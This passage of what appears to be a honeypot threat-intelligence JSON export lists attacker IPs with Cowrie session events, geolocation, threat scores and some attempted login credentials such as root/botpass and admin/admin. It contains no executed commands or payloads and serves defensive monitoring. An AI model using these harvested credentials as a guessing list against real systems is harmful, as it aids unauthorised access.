        "^|}g;m{y95ww6y}MykG7uo7_fi~zwwov}s_^tukwv_imm{gz}{mz^ZoGo^5kNy{xoWy9mw",
        "bonjourhoneypot*&*&@RHRH*(#FH&#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Vesel\u00ed nad Lu\u017enic\u00ed",
      "asn": 62212,
      "as_org": "SmartApe OU",
      "threat_score": 63.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.1,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 21,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T17:41:18.559000+00:00",
        "last_seen_30d": "2026-05-23T19:18:52.399000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 56,
        "Cowrie": 18,
        "Dionaea": 4,
        "Tanner": 2
      }
    },
    "113.120.112.201": {
      "attack_count": 18,
      "first_seen": "2026-05-19T02:05:53.096Z",
      "last_seen": "2026-05-19T05:13:28.963Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:05:53.096000+00:00",
        "last_seen_30d": "2026-05-19T05:21:49.324000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 13
      }
    },
    "78.111.75.47": {
      "attack_count": 18,
      "first_seen": "2026-05-05T01:23:48.045Z",
      "last_seen": "2026-05-11T20:43:08.821Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:23:48.045000+00:00",
        "last_seen_30d": "2026-05-11T20:44:13.274000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "121.128.173.237": {
      "attack_count": 12,
      "first_seen": "2026-05-04T04:38:08.679Z",
      "last_seen": "2026-05-04T04:39:15.727Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongbuk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T04:38:08.679000+00:00",
        "last_seen_30d": "2026-05-04T04:40:23.951000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "165.154.41.213": {
      "attack_count": 10,
      "first_seen": "2026-05-28T16:54:52.277Z",
      "last_seen": "2026-05-28T16:54:54.775Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 77.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T01:41:25.122000+00:00",
        "last_seen_30d": "2026-05-31T00:05:38.085000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 17,
        "Cowrie": 10
      }
    },
    "173.255.225.25": {
      "attack_count": 9,
      "first_seen": "2026-05-27T12:31:09.223Z",
      "last_seen": "2026-05-27T12:31:09.657Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-27T12:31:09.223000+00:00",
        "last_seen_30d": "2026-05-31T06:58:43.235000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 9,
        "Honeytrap": 6
      }
    },
    "118.169.15.237": {
      "attack_count": 8,
      "first_seen": "2026-05-20T21:44:37.557Z",
      "last_seen": "2026-05-21T03:14:39.617Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:44:37.557000+00:00",
        "last_seen_30d": "2026-05-21T03:15:42.950000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "172.202.117.196": {
      "attack_count": 7,
      "first_seen": "2026-05-19T09:35:23.823Z",
      "last_seen": "2026-05-19T09:35:33.823Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T10:40:13.513000+00:00",
        "last_seen_30d": "2026-05-30T18:08:07.432000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "20.118.233.215": {
      "attack_count": 7,
      "first_seen": "2026-05-04T09:30:57.722Z",
      "last_seen": "2026-05-04T09:31:07.730Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:29:56.186000+00:00",
        "last_seen_30d": "2026-05-13T10:43:10.988000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 7,
        "Honeytrap": 3
      }
    },
    "2.241.127.23": {
      "attack_count": 6,
      "first_seen": "2026-05-12T09:41:35.503Z",
      "last_seen": "2026-05-12T09:47:38.644Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Hamburg",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:41:35.503000+00:00",
        "last_seen_30d": "2026-05-12T09:48:52.748000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "163.47.151.238": {
      "attack_count": 5,
      "first_seen": "2026-05-13T03:51:10.046Z",
      "last_seen": "2026-05-13T03:51:38.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "botpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 4007,
      "as_org": "Subisu Cablenet Pvt Ltd, Baluwatar, Kathmandu, Nepal",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:51:10.046000+00:00",
        "last_seen_30d": "2026-05-13T03:52:42.718000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.42.116.143": {
      "attack_count": 5,
      "first_seen": "2026-05-22T11:57:17.532Z",
      "last_seen": "2026-05-22T11:57:29.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-09T19:13:42+00:00",
        "last_seen_30d": "2026-05-30T22:08:35.239000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "H0neytr4p": 17,
        "Ciscoasa": 13,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "116.209.192.93": {
      "attack_count": 4,
      "first_seen": "2026-05-22T10:47:39.130Z",
      "last_seen": "2026-05-22T23:34:11.228Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:47:39.130000+00:00",
        "last_seen_30d": "2026-05-22T23:35:14.807000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.161": {
      "attack_count": 4,
      "first_seen": "2026-05-14T04:53:40.861Z",
      "last_seen": "2026-05-14T04:53:44.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:53:48.323000+00:00",
        "last_seen_30d": "2026-05-15T22:57:54.576000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "20.65.195.48": {
      "attack_count": 4,
      "first_seen": "2026-05-30T12:12:10.767Z",
      "last_seen": "2026-05-30T12:12:21.261Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T11:22:01.403000+00:00",
        "last_seen_30d": "2026-05-30T15:05:38.154000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 10,
        "Cowrie": 4
      }
    },
    "8.217.156.83": {
      "attack_count": 4,
      "first_seen": "2026-05-02T09:50:28.194Z",
      "last_seen": "2026-05-12T11:11:58.525Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:50:28.194000+00:00",
        "last_seen_30d": "2026-05-12T11:13:01.029000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "93.153.142.254": {
      "attack_count": 4,
      "first_seen": "2026-05-05T13:14:21.487Z",
      "last_seen": "2026-05-11T22:18:58.708Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 20632,
      "as_org": "PJSC MegaFon",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:14:21.487000+00:00",
        "last_seen_30d": "2026-05-11T22:20:03.284000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "95.84.146.9": {
      "attack_count": 4,
      "first_seen": "2026-05-03T15:42:17.661Z",
      "last_seen": "2026-05-05T21:53:31.193Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:42:17.661000+00:00",
        "last_seen_30d": "2026-05-05T22:03:38.047000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "47.95.113.63": {
      "attack_count": 3,
      "first_seen": "2026-05-16T10:11:41.309Z",
      "last_seen": "2026-05-16T10:12:57.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:11:41.309000+00:00",
        "last_seen_30d": "2026-05-16T10:13:59.943000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "103.112.214.115": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:03:31.725Z",
      "last_seen": "2026-05-22T06:03:47.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:03:31.725000+00:00",
        "last_seen_30d": "2026-05-22T06:04:49.168000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.219.146.148": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:49:22.277Z",
      "last_seen": "2026-05-05T16:49:34.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:49:22.277000+00:00",
        "last_seen_30d": "2026-05-05T16:50:40.449000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.40.67.222": {
      "attack_count": 2,
      "first_seen": "2026-05-13T20:04:48.140Z",
      "last_seen": "2026-05-13T20:05:01.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:04:48.140000+00:00",
        "last_seen_30d": "2026-05-13T20:06:05.740000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.7.172.14": {
      "attack_count": 2,
      "first_seen": "2026-05-12T09:10:49.118Z",
      "last_seen": "2026-05-12T09:10:53.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:10:49.118000+00:00",
        "last_seen_30d": "2026-05-12T09:12:00.194000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "113.210.69.230": {
      "attack_count": 2,
      "first_seen": "2026-05-14T12:51:58.936Z",
      "last_seen": "2026-05-14T12:52:12.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Ipoh",
      "asn": 9534,
      "as_org": "Binariang Berhad",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:51:58.936000+00:00",
        "last_seen_30d": "2026-05-14T12:53:14.203000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.20.32.160": {
      "attack_count": 2,
      "first_seen": "2026-05-03T23:56:43.455Z",
      "last_seen": "2026-05-03T23:56:56.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T23:56:43.455000+00:00",
        "last_seen_30d": "2026-05-03T23:58:02.119000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.83.224.78": {
      "attack_count": 2,
      "first_seen": "2026-05-27T19:22:35.315Z",
      "last_seen": "2026-05-27T19:23:11.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T19:22:35.315000+00:00",
        "last_seen_30d": "2026-05-27T19:24:12.103000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.118.193.30": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:16:02.690Z",
      "last_seen": "2026-05-21T17:16:14.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:16:02.690000+00:00",
        "last_seen_30d": "2026-05-21T17:17:21.082000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.27.36.90": {
      "attack_count": 2,
      "first_seen": "2026-05-13T10:06:27.630Z",
      "last_seen": "2026-05-13T10:06:40.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
